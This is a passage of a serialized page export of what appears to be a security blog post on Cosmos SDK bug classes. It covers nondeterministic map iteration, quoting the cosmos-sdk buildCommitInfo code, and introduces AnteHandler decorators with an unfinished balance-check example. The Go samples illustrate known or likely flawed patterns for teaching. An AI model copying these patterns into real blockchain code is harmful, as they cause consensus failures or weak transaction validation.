}\n}\n",[77195],{"type":26,"tag":53,"props":77196,"children":77197},{"__ignoreMap":7},[77198,77229,77236,77263,77283,77310,77346,77353,77382,77389,77424,77451,77470,77481,77525,77532,77539,77546],{"type":26,"tag":475,"props":77199,"children":77200},{"class":477,"line":478},[77201,77205,77209,77213,77217,77221,77225],{"type":26,"tag":475,"props":77202,"children":77203},{"style":482},[77204],{"type":32,"value":32455},{"type":26,"tag":475,"props":77206,"children":77207},{"style":505},[77208],{"type":32,"value":76943},{"type":26,"tag":475,"props":77210,"children":77211},{"style":482},[77212],{"type":32,"value":49361},{"type":26,"tag":475,"props":77214,"children":77215},{"style":499},[77216],{"type":32,"value":3440},{"type":26,"tag":475,"props":77218,"children":77219},{"style":505},[77220],{"type":32,"value":29369},{"type":26,"tag":475,"props":77222,"children":77223},{"style":499},[77224],{"type":32,"value":15117},{"type":26,"tag":475,"props":77226,"children":77227},{"style":505},[77228],{"type":32,"value":76964},{"type":26,"tag":475,"props":77230,"children":77231},{"class":477,"line":516},[77232],{"type":26,"tag":475,"props":77233,"children":77234},{"emptyLinePlaceholder":18},[77235],{"type":32,"value":545},{"type":26,"tag":475,"props":77237,"children":77238},{"class":477,"line":539},[77239,77243,77247,77251,77255,77259],{"type":26,"tag":475,"props":77240,"children":77241},{"style":482},[77242],{"type":32,"value":75929},{"type":26,"tag":475,"props":77244,"children":77245},{"style":493},[77246],{"type":32,"value":76983},{"type":26,"tag":475,"props":77248,"children":77249},{"style":499},[77250],{"type":32,"value":626},{"type":26,"tag":475,"props":77252,"children":77253},{"style":2375},[77254],{"type":32,"value":76992},{"type":26,"tag":475,"props":77256,"children":77257},{"style":505},[77258],{"type":32,"value":76943},{"type":26,"tag":475,"props":77260,"children":77261},{"style":499},[77262],{"type":32,"value":676},{"type":26,"tag":475,"props":77264,"children":77265},{"class":477,"line":548},[77266,77271,77275,77279],{"type":26,"tag":475,"props":77267,"children":77268},{"style":482},[77269],{"type":32,"value":77270}," var",{"type":26,"tag":475,"props":77272,"children":77273},{"style":2375},[77274],{"type":32,"value":21088},{"type":26,"tag":475,"props":77276,"children":77277},{"style":499},[77278],{"type":32,"value":75856},{"type":26,"tag":475,"props":77280,"children":77281},{"style":505},[77282],{"type":32,"value":76964},{"type":26,"tag":475,"props":77284,"children":77285},{"class":477,"line":558},[77286,77290,77294,77298,77302,77306],{"type":26,"tag":475,"props":77287,"children":77288},{"style":586},[77289],{"type":32,"value":2737},{"type":26,"tag":475,"props":77291,"children":77292},{"style":2375},[77293],{"type":32,"value":5645},{"type":26,"tag":475,"props":77295,"children":77296},{"style":714},[77297],{"type":32,"value":76045},{"type":26,"tag":475,"props":77299,"children":77300},{"style":586},[77301],{"type":32,"value":77028},{"type":26,"tag":475,"props":77303,"children":77304},{"style":2375},[77305],{"type":32,"value":77033},{"type":26,"tag":475,"props":77307,"children":77308},{"style":499},[77309],{"type":32,"value":579},{"type":26,"tag":475,"props":77311,"children":77312},{"class":477,"line":582},[77313,77317,77321,77326,77330,77334,77338,77342],{"type":26,"tag":475,"props":77314,"children":77315},{"style":2375},[77316],{"type":32,"value":25032},{"type":26,"tag":475,"props":77318,"children":77319},{"style":714},[77320],{"type":32,"value":2383},{"type":26,"tag":475,"props":77322,"children":77323},{"style":493},[77324],{"type":32,"value":77325}," append",{"type":26,"tag":475,"props":77327,"children":77328},{"style":499},[77329],{"type":32,"value":626},{"type":26,"tag":475,"props":77331,"children":77332},{"style":2375},[77333],{"type":32,"value":20691},{"type":26,"tag":475,"props":77335,"children":77336},{"style":499},[77337],{"type":32,"value":637},{"type":26,"tag":475,"props":77339,"children":77340},{"style":2375},[77341],{"type":32,"value":71783},{"type":26,"tag":475,"props":77343,"children":77344},{"style":499},[77345],{"type":32,"value":647},{"type":26,"tag":475,"props":77347,"children":77348},{"class":477,"line":596},[77349],{"type":26,"tag":475,"props":77350,"children":77351},{"style":499},[77352],{"type":32,"value":851},{"type":26,"tag":475,"props":77354,"children":77355},{"class":477,"line":610},[77356,77361,77365,77370,77374,77378],{"type":26,"tag":475,"props":77357,"children":77358},{"style":2375},[77359],{"type":32,"value":77360}," sort",{"type":26,"tag":475,"props":77362,"children":77363},{"style":499},[77364],{"type":32,"value":353},{"type":26,"tag":475,"props":77366,"children":77367},{"style":493},[77368],{"type":32,"value":77369},"Strings",{"type":26,"tag":475,"props":77371,"children":77372},{"style":499},[77373],{"type":32,"value":626},{"type":26,"tag":475,"props":77375,"children":77376},{"style":2375},[77377],{"type":32,"value":20691},{"type":26,"tag":475,"props":77379,"children":77380},{"style":499},[77381],{"type":32,"value":647},{"type":26,"tag":475,"props":77383,"children":77384},{"class":477,"line":650},[77385],{"type":26,"tag":475,"props":77386,"children":77387},{"emptyLinePlaceholder":18},[77388],{"type":32,"value":545},{"type":26,"tag":475,"props":77390,"children":77391},{"class":477,"line":679},[77392,77396,77400,77404,77408,77412,77416,77420],{"type":26,"tag":475,"props":77393,"children":77394},{"style":586},[77395],{"type":32,"value":2737},{"type":26,"tag":475,"props":77397,"children":77398},{"style":2375},[77399],{"type":32,"value":2742},{"type":26,"tag":475,"props":77401,"children":77402},{"style":499},[77403],{"type":32,"value":637},{"type":26,"tag":475,"props":77405,"children":77406},{"style":2375},[77407],{"type":32,"value":71783},{"type":26,"tag":475,"props":77409,"children":77410},{"style":714},[77411],{"type":32,"value":76045},{"type":26,"tag":475,"props":77413,"children":77414},{"style":586},[77415],{"type":32,"value":77028},{"type":26,"tag":475,"props":77417,"children":77418},{"style":2375},[77419],{"type":32,"value":21088},{"type":26,"tag":475,"props":77421,"children":77422},{"style":499},[77423],{"type":32,"value":579},{"type":26,"tag":475,"props":77425,"children":77426},{"class":477,"line":735},[77427,77431,77435,77439,77443,77447],{"type":26,"tag":475,"props":77428,"children":77429},{"style":2375},[77430],{"type":32,"value":25887},{"type":26,"tag":475,"props":77432,"children":77433},{"style":499},[77434],{"type":32,"value":353},{"type":26,"tag":475,"props":77436,"children":77437},{"style":2375},[77438],{"type":32,"value":77053},{"type":26,"tag":475,"props":77440,"children":77441},{"style":499},[77442],{"type":32,"value":353},{"type":26,"tag":475,"props":77444,"children":77445},{"style":493},[77446],{"type":32,"value":77062},{"type":26,"tag":475,"props":77448,"children":77449},{"style":499},[77450],{"type":32,"value":3169},{"type":26,"tag":475,"props":77452,"children":77453},{"class":477,"line":744},[77454,77458,77462,77466],{"type":26,"tag":475,"props":77455,"children":77456},{"style":2375},[77457],{"type":32,"value":77074},{"type":26,"tag":475,"props":77459,"children":77460},{"style":499},[77461],{"type":32,"value":353},{"type":26,"tag":475,"props":77463,"children":77464},{"style":493},[77465],{"type":32,"value":77083},{"type":26,"tag":475,"props":77467,"children":77468},{"style":499},[77469],{"type":32,"value":3169},{"type":26,"tag":475,"props":77471,"children":77472},{"class":477,"line":753},[77473,77477],{"type":26,"tag":475,"props":77474,"children":77475},{"style":629},[77476],{"type":32,"value":77095},{"type":26,"tag":475,"props":77478,"children":77479},{"style":499},[77480],{"type":32,"value":2425},{"type":26,"tag":475,"props":77482,"children":77483},{"class":477,"line":761},[77484,77488,77492,77496,77500,77504,77508,77512,77516,77520],{"type":26,"tag":475,"props":77485,"children":77486},{"style":2375},[77487],{"type":32,"value":77107},{"type":26,"tag":475,"props":77489,"children":77490},{"style":499},[77491],{"type":32,"value":353},{"type":26,"tag":475,"props":77493,"children":77494},{"style":493},[77495],{"type":32,"value":77116},{"type":26,"tag":475,"props":77497,"children":77498},{"style":499},[77499],{"type":32,"value":626},{"type":26,"tag":475,"props":77501,"children":77502},{"style":2375},[77503],{"type":32,"value":71783},{"type":26,"tag":475,"props":77505,"children":77506},{"style":499},[77507],{"type":32,"value":637},{"type":26,"tag":475,"props":77509,"children":77510},{"style":2375},[77511],{"type":32,"value":76992},{"type":26,"tag":475,"props":77513,"children":77514},{"style":499},[77515],{"type":32,"value":3440},{"type":26,"tag":475,"props":77517,"children":77518},{"style":2375},[77519],{"type":32,"value":71783},{"type":26,"tag":475,"props":77521,"children":77522},{"style":499},[77523],{"type":32,"value":77524},"]),\n",{"type":26,"tag":475,"props":77526,"children":77527},{"class":477,"line":770},[77528],{"type":26,"tag":475,"props":77529,"children":77530},{"style":499},[77531],{"type":32,"value":77144},{"type":26,"tag":475,"props":77533,"children":77534},{"class":477,"line":794},[77535],{"type":26,"tag":475,"props":77536,"children":77537},{"style":499},[77538],{"type":32,"value":68014},{"type":26,"tag":475,"props":77540,"children":77541},{"class":477,"line":831},[77542],{"type":26,"tag":475,"props":77543,"children":77544},{"style":499},[77545],{"type":32,"value":851},{"type":26,"tag":475,"props":77547,"children":77548},{"class":477,"line":845},[77549],{"type":26,"tag":475,"props":77550,"children":77551},{"style":499},[77552],{"type":32,"value":3607},{"type":26,"tag":35,"props":77554,"children":77555},{},[77556],{"type":32,"value":77557},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":26,"tag":41,"props":77559,"children":77561},{"id":77560},"real-world-examples-1",[77562],{"type":32,"value":76318},{"type":26,"tag":35,"props":77564,"children":77565},{},[77566,77568,77573,77575,77581,77583,77589,77591,77597],{"type":32,"value":77567},"Real-world examples of ",{"type":26,"tag":53,"props":77569,"children":77571},{"className":77570},[],[77572],{"type":32,"value":66795},{"type":32,"value":77574}," causing determinism problems can be found ",{"type":26,"tag":116,"props":77576,"children":77579},{"href":77577,"rel":77578},"https://github.com/cosmos/cosmos-sdk/pull/12487",[120],[77580],{"type":32,"value":47278},{"type":32,"value":77582},", specifically, where the result of ",{"type":26,"tag":53,"props":77584,"children":77586},{"className":77585},[],[77587],{"type":32,"value":77588},"buildCommitInfo",{"type":32,"value":77590}," is inconsistent due to iteration over the ",{"type":26,"tag":53,"props":77592,"children":77594},{"className":77593},[],[77595],{"type":32,"value":77596},"rs.stores",{"type":32,"value":77598}," map.",{"type":26,"tag":35,"props":77600,"children":77601},{},[77602],{"type":26,"tag":116,"props":77603,"children":77606},{"href":77604,"rel":77605},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[120],[77607],{"type":32,"value":76368},{"type":26,"tag":465,"props":77609,"children":77611},{"code":77610,"language":75793,"meta":7,"className":75794,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[77612],{"type":26,"tag":53,"props":77613,"children":77614},{"__ignoreMap":7},[77615,77652,77665,77693,77727,77772,77818,77826,77833,77878,77908,77937,77944,77951,77978,78000,78020,78027],{"type":26,"tag":475,"props":77616,"children":77617},{"class":477,"line":478},[77618,77622,77626,77631,77635,77640,77644,77648],{"type":26,"tag":475,"props":77619,"children":77620},{"style":482},[77621],{"type":32,"value":75929},{"type":26,"tag":475,"props":77623,"children":77624},{"style":499},[77625],{"type":32,"value":2775},{"type":26,"tag":475,"props":77627,"children":77628},{"style":2375},[77629],{"type":32,"value":77630},"rs ",{"type":26,"tag":475,"props":77632,"children":77633},{"style":714},[77634],{"type":32,"value":4282},{"type":26,"tag":475,"props":77636,"children":77637},{"style":505},[77638],{"type":32,"value":77639},"Store",{"type":26,"tag":475,"props":77641,"children":77642},{"style":499},[77643],{"type":32,"value":2794},{"type":26,"tag":475,"props":77645,"children":77646},{"style":493},[77647],{"type":32,"value":77588},{"type":26,"tag":475,"props":77649,"children":77650},{"style":499},[77651],{"type":32,"value":3169},{"type":26,"tag":475,"props":77653,"children":77654},{"class":477,"line":516},[77655,77660],{"type":26,"tag":475,"props":77656,"children":77657},{"style":2375},[77658],{"type":32,"value":77659}," version",{"type":26,"tag":475,"props":77661,"children":77662},{"style":505},[77663],{"type":32,"value":77664}," int64\n",{"type":26,"tag":475,"props":77666,"children":77667},{"class":477,"line":539},[77668,77672,77676,77680,77684,77689],{"type":26,"tag":475,"props":77669,"children":77670},{"style":499},[77671],{"type":32,"value":2794},{"type":26,"tag":475,"props":77673,"children":77674},{"style":714},[77675],{"type":32,"value":4282},{"type":26,"tag":475,"props":77677,"children":77678},{"style":505},[77679],{"type":32,"value":5471},{"type":26,"tag":475,"props":77681,"children":77682},{"style":499},[77683],{"type":32,"value":353},{"type":26,"tag":475,"props":77685,"children":77686},{"style":505},[77687],{"type":32,"value":77688},"CommitInfo",{"type":26,"tag":475,"props":77690,"children":77691},{"style":499},[77692],{"type":32,"value":579},{"type":26,"tag":475,"props":77694,"children":77695},{"class":477,"line":548},[77696,77701,77705,77709,77713,77717,77722],{"type":26,"tag":475,"props":77697,"children":77698},{"style":2375},[77699],{"type":32,"value":77700}," storeInfos",{"type":26,"tag":475,"props":77702,"children":77703},{"style":714},[77704],{"type":32,"value":76045},{"type":26,"tag":475,"props":77706,"children":77707},{"style":499},[77708],{"type":32,"value":75856},{"type":26,"tag":475,"props":77710,"children":77711},{"style":505},[77712],{"type":32,"value":5471},{"type":26,"tag":475,"props":77714,"children":77715},{"style":499},[77716],{"type":32,"value":353},{"type":26,"tag":475,"props":77718,"children":77719},{"style":505},[77720],{"type":32,"value":77721},"StoreInfo",{"type":26,"tag":475,"props":77723,"children":77724},{"style":499},[77725],{"type":32,"value":77726},"{}\n",{"type":26,"tag":475,"props":77728,"children":77729},{"class":477,"line":558},[77730,77734,77738,77742,77746,77750,77754,77759,77763,77768],{"type":26,"tag":475,"props":77731,"children":77732},{"style":586},[77733],{"type":32,"value":2737},{"type":26,"tag":475,"props":77735,"children":77736},{"style":2375},[77737],{"type":32,"value":5645},{"type":26,"tag":475,"props":77739,"children":77740},{"style":499},[77741],{"type":32,"value":637},{"type":26,"tag":475,"props":77743,"children":77744},{"style":2375},[77745],{"type":32,"value":5654},{"type":26,"tag":475,"props":77747,"children":77748},{"style":714},[77749],{"type":32,"value":76045},{"type":26,"tag":475,"props":77751,"children":77752},{"style":586},[77753],{"type":32,"value":77028},{"type":26,"tag":475,"props":77755,"children":77756},{"style":2375},[77757],{"type":32,"value":77758}," rs",{"type":26,"tag":475,"props":77760,"children":77761},{"style":499},[77762],{"type":32,"value":353},{"type":26,"tag":475,"props":77764,"children":77765},{"style":2375},[77766],{"type":32,"value":77767},"stores",{"type":26,"tag":475,"props":77769,"children":77770},{"style":499},[77771],{"type":32,"value":579},{"type":26,"tag":475,"props":77773,"children":77774},{"class":477,"line":582},[77775,77779,77783,77787,77792,77796,77800,77805,77809,77814],{"type":26,"tag":475,"props":77776,"children":77777},{"style":586},[77778],{"type":32,"value":2980},{"type":26,"tag":475,"props":77780,"children":77781},{"style":2375},[77782],{"type":32,"value":5544},{"type":26,"tag":475,"props":77784,"children":77785},{"style":499},[77786],{"type":32,"value":353},{"type":26,"tag":475,"props":77788,"children":77789},{"style":493},[77790],{"type":32,"value":77791},"GetStoreType",{"type":26,"tag":475,"props":77793,"children":77794},{"style":499},[77795],{"type":32,"value":13750},{"type":26,"tag":475,"props":77797,"children":77798},{"style":714},[77799],{"type":32,"value":8287},{"type":26,"tag":475,"props":77801,"children":77802},{"style":2375},[77803],{"type":32,"value":77804}," types",{"type":26,"tag":475,"props":77806,"children":77807},{"style":499},[77808],{"type":32,"value":353},{"type":26,"tag":475,"props":77810,"children":77811},{"style":2375},[77812],{"type":32,"value":77813},"StoreTypeTransient",{"type":26,"tag":475,"props":77815,"children":77816},{"style":499},[77817],{"type":32,"value":579},{"type":26,"tag":475,"props":77819,"children":77820},{"class":477,"line":596},[77821],{"type":26,"tag":475,"props":77822,"children":77823},{"style":586},[77824],{"type":32,"value":77825}," continue\n",{"type":26,"tag":475,"props":77827,"children":77828},{"class":477,"line":610},[77829],{"type":26,"tag":475,"props":77830,"children":77831},{"style":499},[77832],{"type":32,"value":750},{"type":26,"tag":475,"props":77834,"children":77835},{"class":477,"line":650},[77836,77841,77845,77849,77853,77858,77862,77866,77870,77874],{"type":26,"tag":475,"props":77837,"children":77838},{"style":2375},[77839],{"type":32,"value":77840}," storeInfos",{"type":26,"tag":475,"props":77842,"children":77843},{"style":714},[77844],{"type":32,"value":2383},{"type":26,"tag":475,"props":77846,"children":77847},{"style":493},[77848],{"type":32,"value":77325},{"type":26,"tag":475,"props":77850,"children":77851},{"style":499},[77852],{"type":32,"value":626},{"type":26,"tag":475,"props":77854,"children":77855},{"style":2375},[77856],{"type":32,"value":77857},"storeInfos",{"type":26,"tag":475,"props":77859,"children":77860},{"style":499},[77861],{"type":32,"value":637},{"type":26,"tag":475,"props":77863,"children":77864},{"style":505},[77865],{"type":32,"value":5471},{"type":26,"tag":475,"props":77867,"children":77868},{"style":499},[77869],{"type":32,"value":353},{"type":26,"tag":475,"props":77871,"children":77872},{"style":505},[77873],{"type":32,"value":77721},{"type":26,"tag":475,"props":77875,"children":77876},{"style":499},[77877],{"type":32,"value":10589},{"type":26,"tag":475,"props":77879,"children":77880},{"class":477,"line":679},[77881,77886,77891,77895,77899,77904],{"type":26,"tag":475,"props":77882,"children":77883},{"style":2375},[77884],{"type":32,"value":77885}," Name",{"type":26,"tag":475,"props":77887,"children":77888},{"style":499},[77889],{"type":32,"value":77890},": ",{"type":26,"tag":475,"props":77892,"children":77893},{"style":2375},[77894],{"type":32,"value":71783},{"type":26,"tag":475,"props":77896,"children":77897},{"style":499},[77898],{"type":32,"value":353},{"type":26,"tag":475,"props":77900,"children":77901},{"style":493},[77902],{"type":32,"value":77903},"Name",{"type":26,"tag":475,"props":77905,"children":77906},{"style":499},[77907],{"type":32,"value":3197},{"type":26,"tag":475,"props":77909,"children":77910},{"class":477,"line":735},[77911,77916,77920,77924,77928,77933],{"type":26,"tag":475,"props":77912,"children":77913},{"style":2375},[77914],{"type":32,"value":77915}," CommitId",{"type":26,"tag":475,"props":77917,"children":77918},{"style":499},[77919],{"type":32,"value":15037},{"type":26,"tag":475,"props":77921,"children":77922},{"style":2375},[77923],{"type":32,"value":5654},{"type":26,"tag":475,"props":77925,"children":77926},{"style":499},[77927],{"type":32,"value":353},{"type":26,"tag":475,"props":77929,"children":77930},{"style":493},[77931],{"type":32,"value":77932},"LastCommitID",{"type":26,"tag":475,"props":77934,"children":77935},{"style":499},[77936],{"type":32,"value":3197},{"type":26,"tag":475,"props":77938,"children":77939},{"class":477,"line":744},[77940],{"type":26,"tag":475,"props":77941,"children":77942},{"style":499},[77943],{"type":32,"value":67891},{"type":26,"tag":475,"props":77945,"children":77946},{"class":477,"line":753},[77947],{"type":26,"tag":475,"props":77948,"children":77949},{"style":499},[77950],{"type":32,"value":851},{"type":26,"tag":475,"props":77952,"children":77953},{"class":477,"line":761},[77954,77958,77962,77966,77970,77974],{"type":26,"tag":475,"props":77955,"children":77956},{"style":586},[77957],{"type":32,"value":16695},{"type":26,"tag":475,"props":77959,"children":77960},{"style":714},[77961],{"type":32,"value":6854},{"type":26,"tag":475,"props":77963,"children":77964},{"style":505},[77965],{"type":32,"value":5471},{"type":26,"tag":475,"props":77967,"children":77968},{"style":499},[77969],{"type":32,"value":353},{"type":26,"tag":475,"props":77971,"children":77972},{"style":505},[77973],{"type":32,"value":77688},{"type":26,"tag":475,"props":77975,"children":77976},{"style":499},[77977],{"type":32,"value":10589},{"type":26,"tag":475,"props":77979,"children":77980},{"class":477,"line":770},[77981,77986,77991,77996],{"type":26,"tag":475,"props":77982,"children":77983},{"style":2375},[77984],{"type":32,"value":77985}," Version",{"type":26,"tag":475,"props":77987,"children":77988},{"style":499},[77989],{"type":32,"value":77990},": ",{"type":26,"tag":475,"props":77992,"children":77993},{"style":2375},[77994],{"type":32,"value":77995},"version",{"type":26,"tag":475,"props":77997,"children":77998},{"style":499},[77999],{"type":32,"value":2425},{"type":26,"tag":475,"props":78001,"children":78002},{"class":477,"line":794},[78003,78008,78012,78016],{"type":26,"tag":475,"props":78004,"children":78005},{"style":2375},[78006],{"type":32,"value":78007}," StoreInfos",{"type":26,"tag":475,"props":78009,"children":78010},{"style":499},[78011],{"type":32,"value":15037},{"type":26,"tag":475,"props":78013,"children":78014},{"style":2375},[78015],{"type":32,"value":77857},{"type":26,"tag":475,"props":78017,"children":78018},{"style":499},[78019],{"type":32,"value":2425},{"type":26,"tag":475,"props":78021,"children":78022},{"class":477,"line":831},[78023],{"type":26,"tag":475,"props":78024,"children":78025},{"style":499},[78026],{"type":32,"value":851},{"type":26,"tag":475,"props":78028,"children":78029},{"class":477,"line":845},[78030],{"type":26,"tag":475,"props":78031,"children":78032},{"style":499},[78033],{"type":32,"value":3607},{"type":26,"tag":35,"props":78035,"children":78036},{},[78037,78039,78046,78047,78054],{"type":32,"value":78038},"Other factors contributing to determinism issues are the usage of ",{"type":26,"tag":116,"props":78040,"children":78043},{"href":78041,"rel":78042},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[120],[78044],{"type":32,"value":78045},"time-sensitive functions",{"type":32,"value":209},{"type":26,"tag":116,"props":78048,"children":78051},{"href":78049,"rel":78050},"https://github.com/cosmos/cosmos-sdk/issues/16638",[120],[78052],{"type":32,"value":78053},"race conditions",{"type":32,"value":353},{"type":26,"tag":27,"props":78056,"children":78058},{"id":78057},"thou-shalt-not-passor-should-you",[78059],{"type":32,"value":78060},"Thou Shalt Not Pass...Or Should You?",{"type":26,"tag":35,"props":78062,"children":78063},{},[78064,78066,78072,78073,78079],{"type":32,"value":78065},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":26,"tag":53,"props":78067,"children":78069},{"className":78068},[],[78070],{"type":32,"value":78071},"msg.value",{"type":32,"value":637},{"type":26,"tag":53,"props":78074,"children":78076},{"className":78075},[],[78077],{"type":32,"value":78078},"msg.sender",{"type":32,"value":78080},", and collecting transaction fees) to the underlying blockchain.",{"type":26,"tag":35,"props":78082,"children":78083},{},[78084,78086,78092,78094,78100],{"type":32,"value":78085},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":26,"tag":53,"props":78087,"children":78089},{"className":78088},[],[78090],{"type":32,"value":78091},"Cosmos-SDK",{"type":32,"value":78093}," introduces ",{"type":26,"tag":53,"props":78095,"children":78097},{"className":78096},[],[78098],{"type":32,"value":78099},"AnteHandler",{"type":32,"value":78101}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":26,"tag":35,"props":78103,"children":78104},{},[78105,78107,78112,78114,78119],{"type":32,"value":78106},"To provide context, let's first understand how an ",{"type":26,"tag":53,"props":78108,"children":78110},{"className":78109},[],[78111],{"type":32,"value":78099},{"type":32,"value":78113}," is processed. Each ",{"type":26,"tag":53,"props":78115,"children":78117},{"className":78116},[],[78118],{"type":32,"value":78099},{"type":32,"value":78120}," is a state transition function that can:",{"type":26,"tag":181,"props":78122,"children":78123},{},[78124,78129],{"type":26,"tag":86,"props":78125,"children":78126},{},[78127],{"type":32,"value":78128},"Transform the block state in relation to transaction and execution context.",{"type":26,"tag":86,"props":78130,"children":78131},{},[78132,78134],{"type":32,"value":78133},"Determine the course of action for the transaction.\n",{"type":26,"tag":181,"props":78135,"children":78136},{},[78137,78148],{"type":26,"tag":86,"props":78138,"children":78139},{},[78140,78142,78147],{"type":32,"value":78141},"Pass the transaction to the next ",{"type":26,"tag":53,"props":78143,"children":78145},{"className":78144},[],[78146],{"type":32,"value":78099},{"type":32,"value":353},{"type":26,"tag":86,"props":78149,"children":78150},{},[78151],{"type":32,"value":78152},"Return error for transaction.",{"type":26,"tag":35,"props":78154,"children":78155},{},[78156,78158,78163],{"type":32,"value":78157},"The bad news is that developing an ",{"type":26,"tag":53,"props":78159,"children":78161},{"className":78160},[],[78162],{"type":32,"value":78099},{"type":32,"value":78164}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":26,"tag":35,"props":78166,"children":78167},{},[78168,78169,78175],{"type":32,"value":16319},{"type":26,"tag":53,"props":78170,"children":78172},{"className":78171},[],[78173],{"type":32,"value":78174},"AnteHandle",{"type":32,"value":78176}," implementation may look something like this:",{"type":26,"tag":465,"props":78178,"children":78180},{"code":78179,"language":75793,"meta":7,"className":75794,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[78181],{"type":26,"tag":53,"props":78182,"children":78183},{"__ignoreMap":7},[78184,78196,78212,78219,78226,78259,78283,78308,78324,78348,78380,78428,78447,78480,78501,78513,78520,78527,78534,78564,78600,78664,78698,78730,78742,78754,78761,78768,78775,78782,78824],{"type":26,"tag":475,"props":78185,"children":78186},{"class":477,"line":478},[78187,78191],{"type":26,"tag":475,"props":78188,"children":78189},{"style":482},[78190],{"type":32,"value":9363},{"type":26,"tag":475,"props":78192,"children":78193},{"style":499},[78194],{"type":32,"value":78195}," (\n",{"type":26,"tag":475,"props":78197,"children":78198},{"class":477,"line":516},[78199,78204,78208],{"type":26,"tag":475,"props":78200,"children":78201},{"style":2375},[78202],{"type":32,"value":78203}," MIN_BALANCE",{"type":26,"tag":475,"props":78205,"children":78206},{"style":714},[78207],{"type":32,"value":2383},{"type":26,"tag":475,"props":78209,"children":78210},{"style":903},[78211],{"type":32,"value":19051},{"type":26,"tag":475,"props":78213,"children":78214},{"class":477,"line":539},[78215],{"type":26,"tag":475,"props":78216,"children":78217},{"style":499},[78218],{"type":32,"value":647},{"type":26,"tag":475,"props":78220,"children":78221},{"class":477,"line":548},[78222],{"type":26,"tag":475,"props":78223,"children":78224},{"emptyLinePlaceholder":18},[78225],{"type":32,"value":545},{"type":26,"tag":475,"props":78227,"children":78228},{"class":477,"line":558},[78229,78233,78237,78242,78247,78251,78255],{"type":26,"tag":475,"props":78230,"children":78231},{"style":482},[78232],{"type":32,"value":75929},{"type":26,"tag":475,"props":78234,"children":78235},{"style":499},[78236],{"type":32,"value":2775},{"type":26,"tag":475,"props":78238,"children":78239},{"style":2375},[78240],{"type":32,"value":78241},"abd ",{"type":26,"tag":475,"props":78243,"children":78244},{"style":505},[78245],{"type":32,"value":78246},"AccountBalanceDecorator",{"type":26,"tag":475,"props":78248,"children":78249},{"style":499},[78250],{"type":32,"value":2794},{"type":26,"tag":475,"props":78252,"children":78253},{"style":493},[78254],{"type":32,"value":78174},{"type":26,"tag":475,"props":78256,"children":78257},{"style":499},[78258],{"type":32,"value":3169},{"type":26,"tag":475,"props":78260,"children":78261},{"class":477,"line":582},[78262,78266,78271,78275,78279],{"type":26,"tag":475,"props":78263,"children":78264},{"style":2375},[78265],{"type":32,"value":19931},{"type":26,"tag":475,"props":78267,"children":78268},{"style":505},[78269],{"type":32,"value":78270}," sdk",{"type":26,"tag":475,"props":78272,"children":78273},{"style":499},[78274],{"type":32,"value":353},{"type":26,"tag":475,"props":78276,"children":78277},{"style":505},[78278],{"type":32,"value":75978},{"type":26,"tag":475,"props":78280,"children":78281},{"style":499},[78282],{"type":32,"value":2425},{"type":26,"tag":475,"props":78284,"children":78285},{"class":477,"line":596},[78286,78291,78295,78299,78304],{"type":26,"tag":475,"props":78287,"children":78288},{"style":2375},[78289],{"type":32,"value":78290}," tx",{"type":26,"tag":475,"props":78292,"children":78293},{"style":505},[78294],{"type":32,"value":78270},{"type":26,"tag":475,"props":78296,"children":78297},{"style":499},[78298],{"type":32,"value":353},{"type":26,"tag":475,"props":78300,"children":78301},{"style":505},[78302],{"type":32,"value":78303},"Tx",{"type":26,"tag":475,"props":78305,"children":78306},{"style":499},[78307],{"type":32,"value":2425},{"type":26,"tag":475,"props":78309,"children":78310},{"class":477,"line":610},[78311,78316,78320],{"type":26,"tag":475,"props":78312,"children":78313},{"style":2375},[78314],{"type":32,"value":78315}," simulate",{"type":26,"tag":475,"props":78317,"children":78318},{"style":505},[78319],{"type":32,"value":11759},{"type":26,"tag":475,"props":78321,"children":78322},{"style":499},[78323],{"type":32,"value":2425},{"type":26,"tag":475,"props":78325,"children":78326},{"class":477,"line":650},[78327,78332,78336,78340,78344],{"type":26,"tag":475,"props":78328,"children":78329},{"style":2375},[78330],{"type":32,"value":78331}," 